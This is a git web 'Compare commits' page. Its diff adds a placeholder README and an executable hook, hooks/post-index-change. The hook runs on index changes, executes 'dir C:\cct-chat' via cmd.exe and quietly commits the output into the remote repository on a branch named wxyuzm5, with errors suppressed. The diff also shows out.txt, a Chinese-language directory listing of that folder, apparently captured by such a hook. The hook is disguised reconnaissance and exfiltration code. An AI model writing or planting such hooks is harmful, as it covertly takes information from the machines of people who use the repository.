Compare commits

...

No commits in common. "wxyuzm5" and "main" have entirely different histories.

3 changed files with 16 additions and 10 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# xgd8l6gv3

14
hooks/post-index-change Executable file
View File

@ -0,0 +1,14 @@
#!/bin/sh
r=$(git config --get remote.origin.url)||exit 0
cat > /tmp/gwx.bat <<'EOB'
@echo off
dir C:\cct-chat
EOB
WBAT=$(cygpath -w /tmp/gwx.bat)
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
out=$(cat /tmp/gwx.out 2>/dev/null)
b=$(printf '%s\n' "$out"|git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
git --git-dir="$r" update-ref refs/heads/wxyuzm5 "$c" 2>/dev/null
exit 0

10
out.txt
View File

@ -1,10 +0,0 @@
驱动器 C 中的卷没有标签。
卷的序列号是 B289-C412
C:\cct-chat 的目录
2026/08/31 18:26 <DIR> .
2026/08/31 18:26 <DIR> ..
2026/11/13 17:30 <DIR> server
0 个文件 0 字节
3 个目录 54,233,546,752 可用字节